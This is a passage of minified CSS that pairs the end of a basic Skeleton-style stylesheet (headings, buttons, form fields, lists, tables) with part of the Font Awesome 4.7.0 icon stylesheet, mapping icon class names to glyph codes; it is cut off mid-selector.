neue,Helvetica,Arial,sans-serif;color:#222}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:2rem;font-weight:300}h1{font-size:4rem;line-height:1.2;letter-spacing:-.1rem}h2{font-size:3.6rem;line-height:1.25;letter-spacing:-.1rem}h3{font-size:3rem;line-height:1.3;letter-spacing:-.1rem}h4{font-size:2.4rem;line-height:1.35;letter-spacing:-.08rem}h5{font-size:1.8rem;line-height:1.5;letter-spacing:-.05rem}h6{font-size:1.5rem;line-height:1.6;letter-spacing:0}@media(min-width:550px){h1{font-size:5rem}h2{font-size:4.2rem}h3{font-size:3.6rem}h4{font-size:3rem}h5{font-size:2.4rem}h6{font-size:1.5rem}}p{margin-top:0}a{color:#1eaedb}a:hover{color:#0fa0ce}.button,button,input[type=button],input[type=reset],input[type=submit]{display:inline-block;height:38px;padding:0 30px;color:#555;text-align:center;font-size:11px;font-weight:600;line-height:38px;letter-spacing:.1rem;text-transform:uppercase;text-decoration:none;white-space:nowrap;background-color:#0000;border-radius:4px;border:1px solid #bbb;cursor:pointer;box-sizing:border-box}.button:focus,.button:hover,button:focus,button:hover,input[type=button]:focus,input[type=button]:hover,input[type=reset]:focus,input[type=reset]:hover,input[type=submit]:focus,input[type=submit]:hover{color:#333;border-color:#888;outline:0}.button.button-primary,button.button-primary,input[type=button].button-primary,input[type=reset].button-primary,input[type=submit].button-primary{color:#fff;background-color:#33c3f0;border-color:#33c3f0}.button.button-primary:focus,.button.button-primary:hover,button.button-primary:focus,button.button-primary:hover,input[type=button].button-primary:focus,input[type=button].button-primary:hover,input[type=reset].button-primary:focus,input[type=reset].button-primary:hover,input[type=submit].button-primary:focus,input[type=submit].button-primary:hover{color:#fff;background-color:#1eaedb;border-color:#1eaedb}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],select,textarea{height:38px;padding:6px 10px;background-color:#fff;border:1px solid #d1d1d1;border-radius:4px;box-shadow:none;box-sizing:border-box}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none}textarea{min-height:65px;padding-top:6px;padding-bottom:6px}input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=url]:focus,select:focus,textarea:focus{border:1px solid #33c3f0;outline:0}label,legend{display:block;margin-bottom:.5rem;font-weight:600}fieldset{padding:0;border-width:0}input[type=checkbox],input[type=radio]{display:inline}label>.label-body{display:inline-block;margin-left:.5rem;font-weight:400}ul{list-style:circle inside}ol{list-style:decimal inside}ol,ul{padding-left:0;margin-top:0}ol ol,ol ul,ul ol,ul ul{margin:1.5rem 0 1.5rem 3rem;font-size:90%}li{margin-bottom:1rem}code{padding:.2rem .5rem;margin:0 .2rem;font-size:90%;white-space:nowrap;background:#f1f1f1;border:1px solid #e1e1e1;border-radius:4px}pre>code{display:block;padding:1rem 1.5rem;white-space:pre}td,th{padding:12px 15px;text-align:left;border-bottom:1px solid #e1e1e1}td:first-child,th:first-child{padding-left:0}td:last-child,th:last-child{padding-right:0}.button,button{margin-bottom:1rem}fieldset,input,select,textarea{margin-bottom:1.5rem}blockquote,dl,figure,form,ol,p,pre,table,ul{margin-bottom:2.5rem}.u-full-width{width:100%;box-sizing:border-box}.u-max-full-width{max-width:100%;box-sizing:border-box}.u-pull-right{float:right}.u-pull-left{float:left}hr{margin-top:3rem;margin-bottom:3.5rem;border-width:0;border-top:1px solid #e1e1e1}.container:after,.row:after,.u-cf{content:"";display:table;clear:both}/*!* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome -* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)*/@font-face{font-family:fontawesome;src:url(../fonts/fontawesome-webfont.eot?v=4.7.0);src:url(../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(../fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(../fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(../fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}.fa{display:inline-block;font:14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-